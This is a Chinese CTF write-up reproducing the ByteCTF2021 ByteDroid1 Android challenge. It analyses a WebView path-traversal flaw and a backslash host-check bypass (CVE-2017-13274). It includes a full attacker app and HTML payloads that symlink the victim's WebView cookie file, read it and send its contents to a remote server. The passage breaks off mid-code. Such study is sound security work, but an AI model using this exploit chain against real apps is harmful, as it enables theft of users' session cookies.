ByteCTF2021 ByteDroid1复现 依旧参考:ByteCTF2021 ByteDroid1复现 | LLeaves Blog
APK分析 AndroidManifest.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?xml version="1.0" encoding="utf-8" ?> <manifest xmlns:android ="http://schemas.android.com/apk/res/android" android:versionCode ="1" android:versionName ="1.0" android:compileSdkVersion ="30" android:compileSdkVersionCodename ="11" package ="com.bytectf.bytedroid1" platformBuildVersionCode ="30" platformBuildVersionName ="11" > <uses-sdk android:minSdkVersion ="21" android:targetSdkVersion ="30" /> <uses-permission android:name ="android.permission.INTERNET" /> <application android:theme ="@style/Theme.ByteDroid1" android:label ="@string/app_name" android:icon ="@mipmap/ic_launcher" android:debuggable ="true" android:allowBackup ="true" android:supportsRtl ="true" android:usesCleartextTraffic ="true" android:roundIcon ="@mipmap/ic_launcher_round" android:appComponentFactory ="androidx.core.app.CoreComponentFactory" > <activity android:name ="com.bytectf.bytedroid1.MainActivity" android:exported ="true" > <intent-filter > <action android:name ="android.intent.action.MAIN" /> <category android:name ="android.intent.category.LAUNCHER" /> </intent-filter > </activity > <receiver android:name ="com.bytectf.bytedroid1.FlagReceiver" android:exported ="false" > <intent-filter > <action android:name ="com.bytectf.SET_FLAG" /> </intent-filter > </receiver > </application > </manifest >
FlagRecevier 接收flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.bytectf.bytedroid1;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Base64;import android.util.Log;import android.webkit.CookieManager;import java.io.UnsupportedEncodingException;public class FlagReceiver extends BroadcastReceiver { @Override public void onReceive (Context context, Intent intent) { String flag = intent.getStringExtra("flag" ); if (flag != null ) { try { String flag2 = Base64.encodeToString(flag.getBytes("UTF-8" ), 0 ); CookieManager cookieManager = CookieManager.getInstance(); cookieManager.setCookie("https://tiktok.com/" , "flag=" + flag2); Log.e("FlagReceiver" , "received flag." ); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } } } }
MainActivity
MainActivity 中先检查APP数据目录下/cache文件夹下是否有index.html,如果没有则解压资源文件中的game.zip到cache目录实现WebView离线加载 ,然后就会接受getIntent().getData() 如果没拿到或者没通过host和scheme的校验则设置为指定的index.html
如果通过校验则被webview加载,然后被shouldInterceptRequest拦截到后再次验证,先是使用getPathSegments对路径进行分段,对第一段内容和最后一断后缀进行校验,如果通过则通过InputStream读取内容并且通过return new WebResourceResponse(null, “utf-8”, ItemTouchHelper.Callback.DEFAULT_DRAG_ANIMATION_DURATION, “OK”, headers, inputStream)返回,实现离线加载的效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 package com.bytectf.bytedroid1;import android.content.Context;import android.net.Uri;import android.os.Bundle;import android.webkit.WebResourceRequest;import android.webkit.WebResourceResponse;import android.webkit.WebView;import android.webkit.WebViewClient;import androidx.appcompat.app.AppCompatActivity;import androidx.recyclerview.widget.ItemTouchHelper;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.util.HashMap;import java.util.List;import java.util.Map;import java.util.zip.ZipEntry;import java.util.zip.ZipInputStream;public class MainActivity extends AppCompatActivity { @Override public void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); File file = new File (getCacheDir(), "index.html" ); if (!file.exists()) { try { UnZipAssetsFolder(getApplicationContext(), "game.zip" , getCacheDir().getPath()); } catch (Exception e) { e.printStackTrace(); } } Uri data = getIntent().getData(); if (data == null || !data.getHost().endsWith(".toutiao.com" ) || !data.getScheme().equals("http" )) { data = Uri.parse("http://bytectf.toutiao.com/local_cache/index.html" ); } WebView webView = new WebView (getApplicationContext()); webView.getSettings().setJavaScriptEnabled(true ); webView.setWebViewClient(new WebViewClient () { @Override public WebResourceResponse shouldInterceptRequest (WebView view, WebResourceRequest request) { Uri uri = request.getUrl(); List<String> pathSegments = uri.getPathSegments(); int size = pathSegments.size(); if (size >= 1 ) { String lastPathSegment = pathSegments.get(size - 1 ); if (pathSegments.get(0 ).equals("local_cache" ) && (lastPathSegment.endsWith(".html" ) || lastPathSegment.endsWith(".js" ) || lastPathSegment.endsWith(".css" ) || lastPathSegment.endsWith(".png" ))) { File cacheFile = new File (MainActivity.this .getCacheDir(), MainActivity$1 $$ExternalSyntheticBackport0.m(File.separator, pathSegments.subList(1 , size))); if (cacheFile.exists()) { try { InputStream inputStream = new FileInputStream (cacheFile); Map<String, String> headers = new HashMap <>(); headers.put("Access-Control-Allow-Origin" , "*" ); return new WebResourceResponse (null , "utf-8" , ItemTouchHelper.Callback.DEFAULT_DRAG_ANIMATION_DURATION, "OK" , headers, inputStream); } catch (IOException e2) { return null ; } } } } return super .shouldInterceptRequest(view, request); } }); setContentView(webView); webView.loadUrl(data.toString()); } public static void UnZipAssetsFolder (Context context, String zipFileString, String outPathString) throws Exception { ZipInputStream inPutZip = new ZipInputStream (context.getAssets().open(zipFileString)); while (true ) { ZipEntry zipEntry = inPutZip.getNextEntry(); if (zipEntry != null ) { String szName = zipEntry.getName(); if (zipEntry.isDirectory()) { String szName2 = szName.substring(0 , szName.length() - 1 ); File folder = new File (outPathString + File.separator + szName2); if (!folder.exists()) { folder.mkdirs(); } else { return ; } } else { File file = new File (outPathString + File.separator + szName); if (!file.exists()) { file.getParentFile().mkdirs(); file.createNewFile(); } FileOutputStream out = new FileOutputStream (file); byte [] buffer = new byte [1024 ]; while (true ) { int len = inPutZip.read(buffer); if (len == -1 ) { break ; } out.write(buffer, 0 , len); out.flush(); } out.close(); } } else { inPutZip.close(); return ; } } } }
核心逻辑:
拿到请求 URL:Uri uri = request.getUrl();
取 pathSegments(把路径按 / 切开):比如:/local_cache/index.html → ["local_cache","index.html"]
检查:
第一段必须是 "local_cache"
最后一段文件名必须以 .html/.js/.css/.png 结尾
如果满足,就去本地 cache 目录找对应文件
1 2 3 4 File cacheFile = new File ( MainActivity.this .getCacheDir(), join(File.separator, pathSegments.subList(1 , size)) );
若文件存在:返回一个 WebResourceResponse,把本地文件流当成响应体,并加上:Access-Control-Allow-Origin: *
效果:
只要页面里请求的路径长得像:
1 2 http://xxx.toutiao.com/local_cache/xxx.js http://bytectf.toutiao.com/local_cache/index.html
WebView 实际拿到的内容会来自,/data/data/com.bytectf.bytedroid1/cache/xxx.js 等文件,这就是一个伪装成网络域名,实际从本地 cache 提供资源的机制
此外这里还有个
1 WebView webView = new WebView(getApplicationContext());
意思是:用全局 App 上下文”创建一个 WebView,而不是用当前 Activity 的上下文,此外还有以下的声明方式
1 2 3 WebView webView = new WebView(this); // 或 WebView webView = findViewById(R.id.webview);
漏洞分析及实现 方案一 URLencode配合getPathSegments实现路径穿越
首先就要想到绕过第一层校验,让WebView实际加载恶意的html,可以通过路径穿越绕过,加载Attacker App内部存储的html文件。因为MainActivity中有一个List pathSegments = uri.getPathSegments(); 实际就是对路径进行切分,然后decode。如果不进行URL编码,那么路径穿越中间部分的../ 都会在WebView进行加载时被去除,从而使得在shouldInterceptRequest 拦截到后的url中不含有返回上一级目录的url部分,从而失败,但是由于存在getPathSegments就可以先编码,然后解码之后成功实现路径穿越。
严谨的来说不是直接去除../而是在 URL 规范化过程中,与它前面的一个 path segment 发生“抵消(pop)。
Uri.getPathSegments() 干了什么?
官方语义是:
Return the decoded path segments of this URI.
示例 1:普通路径
1 2 Uri uri = Uri.parse("http://a.com/local_cache/a/b/c.html"); uri.getPathSegments();
结果:
1 ["local_cache", "a", "b", "c.html"]
示例 2:未编码的 ../
1 2 Uri uri = Uri.parse("http://a.com/local_cache/../evil.html"); uri.getPathSegments();
在 WebView / URL 解析阶段 ,../ 很可能已经被规范化(normalize) 掉了:
等价于:
于是:
这里../与local_cache发生了抵消
如果是http://a.com/local_cache/../../../evil.html仍旧只剩evil.html因为无法pop了
示例 3:URL 编码的路径穿越
1 2 3 4 Uri uri = Uri.parse( "http://a.com/local_cache/%2e%2e/%2e%2e/evil.html" ); uri.getPathSegments();
执行流程非常关键:
1 /local_cache/%2e%2e/%2e%2e/evil.html
这一步 不会被 normalize
因为 %2e ≠ .
当然如果是http://bytectf.toutiao.com/local_cache/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fdata/data/com.bytectf.pwnbytedroid1/files/symlink.html也行,也就是把..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fdata识别城一个路径了
从而再次被拦截后路径穿越,访问到symlink.html ,它指向被攻击APP数据目录下/app_webview/Cookies文件,从而导致Cookies泄露并且将结果传送到远程。思路甚至比mediumdroid清晰
方案一实现
LLeaves中提到由于FlagRecevier设置Cookies需要一段时间,所以最好延时40s后启动实际的攻击流程 (如果是本地模拟的话广播完不用等待)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package com.bytectf.pwnbytedroid1;import android.content.Intent;import android.net.Uri;import android.os.Bundle;import androidx.activity.EdgeToEdge;import androidx.appcompat.app.AppCompatActivity;import androidx.core.graphics.Insets;import androidx.core.view.ViewCompat;import androidx.core.view.WindowInsetsCompat;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.nio.charset.StandardCharsets;public class MainActivity extends AppCompatActivity { @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); EdgeToEdge.enable(this ); setContentView(R.layout.activity_main); Intent intent = new Intent (); intent.setClassName("com.bytectf.bytedroid1" ,"com.bytectf.bytedroid1.MainActivity" ); intent.setData(Uri.parse("http://bytectf.toutiao.com/local_cache/..%2F..%2F..%2F..%2F..%2Fdata/data/com.bytectf.pwnbytedroid1/files/evil.html" )); try { createSymlink(); createHTML(); } catch (IOException e) { e.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } try { Thread.sleep( 40 * 1000 ); } catch (InterruptedException e) { e.printStackTrace(); } startActivity(intent); } public void createHTML () throws IOException, InterruptedException { String dataDir = "/data/data/" + getPackageName(); String content = "<h1>Test</h1>\n" + "<script>\n" + " async function fetchTest() {\n" + " var response = await fetch('http://bytectf.toutiao.com/local_cache/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fdata/data/com.bytectf.pwnbytedroid1/files/symlink.html');\n" + " var responseText = await response.text();\n" + " fetch('http://111.xxxxxxx//?msg='+ responseText.slice(responseText.search('flag'),responseText.search('flag')+70) )\n" + " }\n" + " (async () => {\n" + " await fetchTest();\n" + " })();\n" + "</script>" ; File evilHtml = new File (dataDir + "/files/evil.html" ); FileOutputStream fileOutputStream = new FileOutputStream (evilHtml); fileOutputStream.write(content.getBytes(StandardCharsets.UTF_8)); fileOutputStream.close(); Runtime.getRuntime().exec("chmod 777 -R " + dataDir + "/files" ).waitFor(); } public void createSymlink () throws IOException, InterruptedException { String dataDir = "/data/data/" + getPackageName(); Runtime.getRuntime().exec("rm -rf " + dataDir + "/files" ).waitFor(); Runtime.getRuntime().exec("mkdir " + dataDir + "/files" ).waitFor(); Runtime.getRuntime().exec("chmod 777 -R " + dataDir).waitFor(); Runtime.getRuntime().exec("ln -s " + "/data/data/com.bytectf.bytedroid1/app_webview/Cookies" + " " + dataDir + "/files/symlink.html" ).waitFor(); Runtime.getRuntime().exec("chmod 777 -R " + dataDir + "/files" ).waitFor(); } }
当然也可以不放在请求参数里
方案二:CVE-2017-13274
2018 年 4 月左右修复 CVE-2017-13274(以及相关 URL/host 解析不一致问题)的补丁
“special” URL schemes (which is basically all commonly-used hierarchical schemes, including http, https, ftp, and file), the host portion ends if a \ character is seen, whereas this class previously continued to consider characters part of the hostname. 也就是说反斜杠\ 在CVE-2017-13274完成修复后会被视为Host的结束,而非Host的一部分。
也就是说可以通过构造http://attacker.com\\.app.toutiao.com/bytedroid1.html这样的路径来绕过Host的检测,使其直接访问远程的bytedroid1.html ,远程此时就可以通过路径穿越读取Cookies,前提也是要创建好symlink.html ,
from LLeaves
可以反过来理解,这个就是让受害APP加载这个HTML去读symlink获得flag吗,这个挺好理解,问题是如何触发这个?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <h1 > Test</h1 > <script > async function fetchTest ( ) { var response = await fetch ('http://bytectf.toutiao.com/local_cache/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fdata/data/com.bytectf.pwnbytedroid1/files/symlink.html' ); var responseText = await response.text (); xhr = new XMLHttpRequest (); xhr.open ("POST" , "http://xxx.xxx.xxx.xxx:xxx" , true ); xhr.setRequestHeader ("Content-Type" , "application/x-www-form-urlencoded" ); xhr.send ("file_content=" + encodeURIComponent (responseText)); alert ("File content sent to server." ); } fetchTest () </script >
ByteDroid1 的第一层校验到底在防什么
MainActivity 入口只允许:
scheme == http
host.endsWith(".toutiao.com")
不满足就强制改成默认的 http://bytectf.toutiao.com/local_cache/index.html
也就是说,你想让它加载你自己的远程恶意页面 ,正常情况下必须把 host 做成 .toutiao.com 才行
1 http://attacker.com\\.app.toutiao.com/bytedroid1.html
我们可以这样构造
它利用的是:在旧版本里,Java 的 Uri.getHost() 会把反斜杠 \ 当普通字符留在 host 里(或者至少不会在这里截断),于是得到的 host 类似:
1 attacker.com\\.app.toutiao.com
这个字符串当然 endsWith(“.toutiao.com”) 为真,所以通过第一层校验。
但 WebView / Chromium 的网络栈对 URL 的处理里,反斜杠常会被当成分隔符/被规范化到 path 侧(不同版本细节有差异,但核心是:实际 HTTP 请求会发到 attacker.com ),于是 WebView 真正加载的是:
host:attacker.com
path:\\.app.toutiao.com/bytedroid1.html
结果:应用以为自己在加载 “*.toutiao.com”,实际 WebView 去拉了 attacker.com 上的页面 。
这样修改可以
1 2 3 4 5 6 7 8 9 10 11 12 Uri data = Uri.parse("http://xxxx:8000\\@.toutiao.com/bytedroid1.html" ); intent.setData(data); Log.d("Test" , "getScheme:" + data.getScheme()); Log.d("Test" , "getHost:" + data.getHost()); Log.d("Test" , "getAuthority:" + data.getAuthority()); Log.d("Test" , "getUserInfo:" + data.getUserInfo()); Log.d("Test" , "getPath:" + data.getPath()); Log.d("Test" , "getQuery:" + data.getQuery()); try { createSymlink();